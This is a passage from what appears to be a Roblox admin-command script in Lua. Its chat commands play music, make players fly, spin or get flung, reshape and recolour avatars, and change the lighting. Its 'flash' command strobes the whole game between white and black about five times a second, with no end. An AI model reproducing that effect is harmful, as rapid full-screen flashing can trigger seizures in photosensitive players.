  1737. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  1738. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  1739. if torso.Velocity.magnitude < .1 then wait(.1) end
  1740. until not p or p.Parent ~= torso.Parent
  1741. script:Destroy()
  1742. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  1743. end
  1744. end))
  1745. end
  1746. end
  1747.  
  1748. if msg:lower():sub(1,6) == "music " then
  1749. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  1750. local id = msg:sub(7)
  1751. local pitch = 1
  1752. if tostring(id):lower():find("caramell") then id = 2303479 end
  1753. if tostring(id):find("epic") then id = 27697743 pitch = 2.5 end
  1754. if tostring(id):find("rick") then id = 2027611 end
  1755. if tostring(id):find("halo") then id = 1034065 end
  1756. if tostring(id):find("pokemon") then id = 1372261 end
  1757. if tostring(id):find("cursed") then id = 1372257 end
  1758. if tostring(id):find("extreme") then id = 11420933 end
  1759. if tostring(id):find("awaken") then id = 27697277 end
  1760. if tostring(id):find("alone") then id = 27697392 end
  1761. if tostring(id):find("mario") then id = 1280470 end
  1762. if tostring(id):find("choir") then id = 1372258 end
  1763. if tostring(id):find("chrono") then id = 1280463 end
  1764. if tostring(id):find("dotr") then id = 11420922 end
  1765. if tostring(id):find("entertain") then id = 27697267 end
  1766. if tostring(id):find("fantasy") then id = 1280473 end
  1767. if tostring(id):find("final") then id = 1280414 end
  1768. if tostring(id):find("emblem") then id = 1372259 end
  1769. if tostring(id):find("flight") then id = 27697719 end
  1770. if tostring(id):find("banjo") then id = 27697298 end
  1771. if tostring(id):find("gothic") then id = 27697743 end
  1772. if tostring(id):find("hiphop") then id = 27697735 end
  1773. if tostring(id):find("intro") then id = 27697707 end
  1774. if tostring(id):find("mule") then id = 1077604 end
  1775. if tostring(id):find("film") then id = 27697713 end
  1776. if tostring(id):find("nezz") then id = 8610025 end
  1777. if tostring(id):find("angel") then id = 1372260 end
  1778. if tostring(id):find("resist") then id = 27697234 end
  1779. if tostring(id):find("schala") then id = 5985787 end
  1780. if tostring(id):find("organ") then id = 11231513 end
  1781. if tostring(id):find("tunnel") then id = 9650822 end
  1782. if tostring(id):find("spanish") then id = 5982975 end
  1783. if tostring(id):find("venom") then id = 1372262 end
  1784. if tostring(id):find("wind") then id = 1015394 end
  1785. if tostring(id):find("guitar") then id = 5986151 end
  1786. local s = Instance.new("Sound", game.Workspace) s.SoundId = "http://www.roblox.com/asset/?id=" .. id s.Volume = 1 s.Pitch = pitch s.Looped = true s.archivable = false repeat s:Play() wait(2.5) s:Stop() wait(.5) s:Play() until s.IsPlaying
  1787. end
  1788.  
  1789. if msg:lower() == "stopmusic" then
  1790. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  1791. end
  1792.  
  1793. if msg:lower() == "musiclist" then
  1794. if plr.PlayerGui:findFirstChild("MUSICGUI") then return end
  1795. local scr, cmf, ent, num = ScrollGui() scr.Name = "MUSICGUI" scr.Parent = plr.PlayerGui
  1796. local list = {"caramell","epic","rick","halo","pokemon","cursed","extreme","awaken","alone","mario","choir","chrono","dotr","entertain","fantasy","final","emblem","flight","banjo","gothic","hiphop","intro","mule","film","nezz","angel","resist","schala","organ","tunnel","spanish","venom","wind","guitar"}
  1797. for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  1798. end
  1799.  
  1800. if msg:lower():sub(1,4) == "fly " then
  1801. local plrz = GetPlr(plr, msg:lower():sub(5))
  1802. for i, v in pairs(plrz) do
  1803. coroutine.resume(coroutine.create(function()
  1804. if v and v:findFirstChild("PlayerGui") then
  1805. local cl = script.LocalScriptBase:Clone() cl.Name = "FlyScript" cl.Code.Value = [[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") local mouse = game.Players.LocalPlayer:GetMouse() repeat wait() until mouse ~= nil local plr = game.Players.LocalPlayer local torso = plr.Character.Torso local flying = false local deb = true local ctrl = {f = 0, b = 0, l = 0, r = 0} local lastctrl = {f = 0, b = 0, l = 0, r = 0} local maxspeed = 50 local speed = 0 function Fly() local bg = Instance.new("BodyGyro", torso) bg.P = 9e4 bg.maxTorque = Vector3.new(9e9, 9e9, 9e9) bg.cframe = torso.CFrame local bv = Instance.new("BodyVelocity", torso) bv.velocity = Vector3.new(0,0.1,0) bv.maxForce = Vector3.new(9e9, 9e9, 9e9) repeat wait() plr.Character.Humanoid.PlatformStand = true if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then speed = speed+.5+(speed/maxspeed) if speed > maxspeed then speed = maxspeed end elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then speed = speed-1 if speed < 0 then speed = 0 end end if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r} elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed else bv.velocity = Vector3.new(0,0.1,0) end bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0) until not flying ctrl = {f = 0, b = 0, l = 0, r = 0} lastctrl = {f = 0, b = 0, l = 0, r = 0} speed = 0 bg:Destroy() bv:Destroy() plr.Character.Humanoid.PlatformStand = false end mouse.KeyDown:connect(function(key) if key:lower() == "e" then if flying then flying = false else flying = true Fly() end elseif key:lower() == "w" then ctrl.f = 1 elseif key:lower() == "s" then ctrl.b = -1 elseif key:lower() == "a" then ctrl.l = -1 elseif key:lower() == "d" then ctrl.r = 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then ctrl.f = 0 elseif key:lower() == "s" then ctrl.b = 0 elseif key:lower() == "a" then ctrl.l = 0 elseif key:lower() == "d" then ctrl.r = 0 end end)]]
  1806. cl.Parent = v.PlayerGui cl.Disabled = false
  1807. end
  1808. end))
  1809. end
  1810. end
  1811.  
  1812. if msg:lower():sub(1,6) == "unfly " then
  1813. local plrz = GetPlr(plr, msg:lower():sub(7))
  1814. for i, v in pairs(plrz) do
  1815. coroutine.resume(coroutine.create(function()
  1816. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  1817. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "FlyScript" then q:Destroy() end end
  1818. for a, q in pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name == "BodyVelocity" then q:Destroy() end end
  1819. wait(.1) v.Character.Humanoid.PlatformStand = false
  1820. end
  1821. end))
  1822. end
  1823. end
  1824.  
  1825. if msg:lower() == "disco" then
  1826. for i, v in pairs(lobjs) do v:Destroy() end
  1827. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255)
  1828. game.Lighting.Ambient = color
  1829. game.Lighting.FogColor = color
  1830. until nil]]
  1831. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  1832. end
  1833.  
  1834. if msg:lower() == "flash" then
  1835. for i, v in pairs(lobjs) do v:Destroy() end
  1836. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1)
  1837. game.Lighting.Ambient = Color3.new(1,1,1)
  1838. game.Lighting.FogColor = Color3.new(1,1,1)
  1839. game.Lighting.Brightness = 1
  1840. game.Lighting.TimeOfDay = 14
  1841. wait(.1)
  1842. game.Lighting.Ambient = Color3.new(0,0,0)
  1843. game.Lighting.FogColor = Color3.new(0,0,0)
  1844. game.Lighting.Brightness = 0
  1845. game.Lighting.TimeOfDay = 0
  1846. until nil]]
  1847. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  1848. end
  1849.  
  1850. if msg:lower():sub(1,5) == "spin " then
  1851. local plrz = GetPlr(plr, msg:lower():sub(6))
  1852. for i, v in pairs(plrz) do
  1853. coroutine.resume(coroutine.create(function()
  1854. if v and v.Character and v.Character:findFirstChild("Torso") then
  1855. for i,v in pairs(v.Character.Torso:children()) do if v.Name == "SPINNER" then v:Destroy() end end
  1856. local torso = v.Character:findFirstChild("Torso")
  1857. local bg = Instance.new("BodyGyro", torso) bg.Name = "SPINNER" bg.maxTorque = Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame table.insert(objects,bg)
  1858. repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0)
  1859. until not bg or bg.Parent ~= torso
  1860. end
  1861. end))
  1862. end
  1863. end
  1864.  
  1865. if msg:lower():sub(1,7) == "unspin " then
  1866. local plrz = GetPlr(plr, msg:lower():sub(8))
  1867. for i, v in pairs(plrz) do
  1868. coroutine.resume(coroutine.create(function()
  1869. if v and v.Character and v.Character:findFirstChild("Torso") then
  1870. for a,q in pairs(v.Character.Torso:children()) do if q.Name == "SPINNER" then q:Destroy() end end
  1871. end
  1872. end))
  1873. end
  1874. end
  1875.  
  1876. if msg:lower():sub(1,4) == "dog " then
  1877. local plrz = GetPlr(plr, msg:lower():sub(5))
  1878. for i, v in pairs(plrz) do
  1879. coroutine.resume(coroutine.create(function()
  1880. if v and v.Character and v.Character:findFirstChild("Torso") then
  1881. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1882. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1883. v.Character.Torso.Transparency = 1
  1884. v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1885. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0)
  1886. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0)
  1887. v.Character.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0)
  1888. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0)
  1889. local new = Instance.new("Seat", v.Character) new.Name = "FAKETORSO" new.formFactor = "Symmetric" new.TopSurface = 0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = v.Character.Torso.CFrame
  1890. local bf = Instance.new("BodyForce", new) bf.force = Vector3.new(0,new:GetMass()*196.25,0)
  1891. local weld = Instance.new("Weld", v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C0 = CFrame.new(0,-.5,0)
  1892. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Brown") elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Brown") end end
  1893. end
  1894. end))
  1895. end
  1896. end
  1897.  
  1898. if msg:lower():sub(1,6) == "undog " then
  1899. local plrz = GetPlr(plr, msg:lower():sub(7))
  1900. for i, v in pairs(plrz) do
  1901. coroutine.resume(coroutine.create(function()
  1902. if v and v.Character and v.Character:findFirstChild("Torso") then
  1903. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1904. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1905. v.Character.Torso.Transparency = 0
  1906. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1907. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1908. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1909. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1910. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1911. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  1912. end
  1913. end))
  1914. end
  1915. end
  1916.  
  1917. if msg:lower():sub(1,8) == "creeper " then
  1918. local plrz = GetPlr(plr, msg:lower():sub(9))
  1919. for i, v in pairs(plrz) do
  1920. coroutine.resume(coroutine.create(function()
  1921. if v and v.Character and v.Character:findFirstChild("Torso") then
  1922. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1923. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1924. v.Character.Torso.Transparency = 0
  1925. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1926. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0)
  1927. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0)
  1928. v.Character.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0)
  1929. v.Character.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0)
  1930. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Bright green") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Bright green") end end
  1931. end
  1932. end))
  1933. end
  1934. end
  1935.  
  1936. if msg:lower():sub(1,10) == "uncreeper " then
  1937. local plrz = GetPlr(plr, msg:lower():sub(11))
  1938. for i, v in pairs(plrz) do
  1939. coroutine.resume(coroutine.create(function()
  1940. if v and v.Character and v.Character:findFirstChild("Torso") then
  1941. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1942. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1943. v.Character.Torso.Transparency = 0
  1944. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1945. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1946. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1947. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1948. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1949. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  1950. end
  1951. end))
  1952. end
  1953. end
  1954.  
  1955. if msg:lower():sub(1,8) == "bighead " then
  1956. local plrz = GetPlr(plr, msg:lower():sub(9))
  1957. for i, v in pairs(plrz) do
  1958. coroutine.resume(coroutine.create(function()
  1959. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 = CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  1960. end))
  1961. end
  1962. end
  1963.  
  1964. if msg:lower():sub(1,9) == "minihead " then
  1965. local plrz = GetPlr(plr, msg:lower():sub(10))
  1966. for i, v in pairs(plrz) do
  1967. coroutine.resume(coroutine.create(function()
  1968. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 = CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  1969. end))
  1970. end
  1971. end
  1972.  
  1973. if msg:lower():sub(1,6) == "fling " then
  1974. local plrz = GetPlr(plr, msg:lower():sub(7))
  1975. for i, v in pairs(plrz) do
  1976. coroutine.resume(coroutine.create(function()
  1977. if v and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  1978. local xran local zran
  1979. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  1980. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  1981. v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0)
  1982. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  1983. end
  1984. end))
  1985. end
  1986. end
  1987.  
  1988. if msg:lower():sub(1,8) == "seizure " then
  1989. local plrz = GetPlr(plr, msg:lower():sub(9))
  1990. for i, v in pairs(plrz) do
  1991. coroutine.resume(coroutine.create(function()
  1992. if v and v.Character then
  1993. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0)
  1994. local cl = script.ScriptBase:Clone() cl.Name = "SeizureBase" cl.Code.Value = [[repeat wait() script.Parent.Humanoid.PlatformStand = true script.Parent.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) script.Parent.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil]]
  1995. table.insert(objects, cl) cl.Parent = v.Character cl.Disabled = false
  1996. end
  1997. end))
  1998. end
  1999. end
  2000.  
  2001. if msg:lower():sub(1,10) == "unseizure " then
  2002. local plrz = GetPlr(plr, msg:lower():sub(11))
  2003. for i, v in pairs(plrz) do
  2004. coroutine.resume(coroutine.create(function()
  2005. if v and v.Character then
  2006. for i,v in pairs(v.Character:children()) do if v.Name == "SeizureBase" then v:Destroy() end end
  2007. wait(.1) v.Character.Humanoid.PlatformStand = false
  2008. end
  2009. end))
  2010. end
  2011. end
  2012.  
  2013. if msg:lower():sub(1,12) == "removelimbs " then
  2014. local plrz = GetPlr(plr, msg:lower():sub(13))
  2015. for i, v in pairs(plrz) do
  2016. coroutine.resume(coroutine.create(function()
  2017. if v and v.Character then
  2018. for a, obj in pairs(v.Character:children()) do
  2019. if obj:IsA("BasePart") and (obj.Name:find("Leg") or obj.Name:find("Arm")) then obj:Destroy() end
  2020. end
  2021. end
  2022. end))
  2023. end
  2024. end
  2025.  
  2026. if msg:lower():sub(1,5) == "name " then
  2027. local chk1 = msg:lower():sub(6):find(" ") + 5
  2028. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  2029. for i, v in pairs(plrz) do
  2030. coroutine.resume(coroutine.create(function()
  2031. if v and v.Character and v.Character:findFirstChild("Head") then
  2032. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  2033. local char = v.Character
  2034. local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1)
  2035. local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag" hum.MaxHealth = 0 hum.Health = 0
  2036. local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
  2037. char.Head.Transparency = 1
  2038. end
  2039. end))
  2040. end
  2041. end
  2042.  
  2043. if msg:lower():sub(1,7) == "unname " then
  2044. local plrz = GetPlr(plr, msg:lower():sub(8))
  2045. for i, v in pairs(plrz) do
  2046. coroutine.resume(coroutine.create(function()
  2047. if v and v.Character and v.Character:findFirstChild("Head") then
  2048. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  2049. end
  2050. end))
  2051. end
  2052. end
  2053.  
  2054. if msg:lower():sub(1,5) == "char " then
  2055. local chk1 = msg:lower():sub(6):find(" ") + 5
  2056. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  2057. for i, v in pairs(plrz) do
  2058. coroutine.resume(coroutine.create(function()
  2059. if v and v.Character then
  2060. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1)
  2061. v:LoadCharacter()
  2062. end
  2063. end))
  2064. end
  2065. end
  2066.  
  2067. if msg:lower():sub(1,7) == "unchar " then
  2068. local plrz = GetPlr(plr, msg:lower():sub(8))
  2069. for i, v in pairs(plrz) do
  2070. coroutine.resume(coroutine.create(function()
  2071. if v and v.Character then
  2072. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId
  2073. v:LoadCharacter()
  2074. end
  2075. end))
  2076. end
  2077. end
  2078.  
  2079. if msg:lower():sub(1,7) == "infect " then
  2080. local plrz = GetPlr(plr, msg:lower():sub(8))
  2081. for i, v in pairs(plrz) do
  2082. coroutine.resume(coroutine.create(function()
  2083. if v and v.Character then
  2084. Infect(v.Character)
  2085. end
  2086. end))
  2087. end
  2088. end
  2089.  
  2090. if msg:lower():sub(1,11) == "rainbowify " then
  2091. local plrz = GetPlr(plr, msg:lower():sub(12))
  2092. for i, v in pairs(plrz) do
  2093. coroutine.resume(coroutine.create(function()
  2094. if v and v.Character and v.Character:findFirstChild("Torso") then
  2095. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  2096. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  2097. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2098. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) local clr = BrickColor.random() for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  2099. cl.Parent = v.Character cl.Disabled = false
  2100. end
  2101. end))
  2102. end
  2103. end
  2104.  
  2105. if msg:lower():sub(1,9) == "flashify " then
  2106. local plrz = GetPlr(plr, msg:lower():sub(10))
  2107. for i, v in pairs(plrz) do
  2108. coroutine.resume(coroutine.create(function()
  2109. if v and v.Character and v.Character:findFirstChild("Torso") then
  2110. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  2111. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  2112. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2113. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Institutional white") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Institutional white") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Really black") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Really black") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  2114. cl.Parent = v.Character cl.Disabled = false
  2115. end
  2116. end))
  2117. end
  2118. end
  2119.  
  2120. if msg:lower():sub(1,8) == "noobify " then
  2121. local plrz = GetPlr(plr, msg:lower():sub(9))
  2122. for i, v in pairs(plrz) do
  2123. coroutine.resume(coroutine.create(function()
  2124. if v and v.Character then
  2125. Noobify(v.Character)
  2126. end
  2127. end))
  2128. end
  2129. end
  2130.  
  2131. if msg:lower():sub(1,9) == "ghostify " then
  2132. local plrz = GetPlr(plr, msg:lower():sub(10))
  2133. for i, v in pairs(plrz) do
  2134. coroutine.resume(coroutine.create(function()
  2135. if v and v.Character and v.Character:findFirstChild("Torso") then
  2136. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  2137. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  2138. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2139. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  2140. prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Institutional white")
  2141. if prt.Name:find("Leg") then prt.Transparency = 1 end
  2142. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Institutional white")
  2143. end end
  2144. end
  2145. end))
  2146. end
  2147. end
  2148.  
  2149. if msg:lower():sub(1,8) == "goldify " then
  2150. local plrz = GetPlr(plr, msg:lower():sub(9))
  2151. for i, v in pairs(plrz) do
  2152. coroutine.resume(coroutine.create(function()
  2153. if v and v.Character and v.Character:findFirstChild("Torso") then
  2154. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  2155. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  2156. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2157. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  2158. prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new("Bright yellow")
  2159. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  2160. end end
  2161. end
  2162. end))
  2163. end
  2164. end
  2165.  
  2166. if msg:lower():sub(1,6) == "shiny " then
  2167. local plrz = GetPlr(plr, msg:lower():sub(7))
  2168. for i, v in pairs(plrz) do
  2169. coroutine.resume(coroutine.create(function()
  2170. if v and v.Character and v.Character:findFirstChild("Torso") then
  2171. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  2172. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  2173. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2174. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  2175. prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new("Institutional white")
  2176. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor = BrickColor.new("Institutional white")
  2177. end end
  2178. end
  2179. end))
  2180. end
  2181. end
  2182.  
  2183. if msg:lower():sub(1,7) == "normal " then
  2184. local plrz = GetPlr(plr, msg:lower():sub(8))
  2185. for i, v in pairs(plrz) do
  2186. coroutine.resume(coroutine.create(function()
  2187. if v and v.Character and v.Character:findFirstChild("Torso") then
  2188. if v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end
  2189. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  2190. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  2191. v.Character.Torso.Transparency = 0
  2192. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  2193. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  2194. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  2195. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  2196. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  2197. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2198. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  2199. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White")
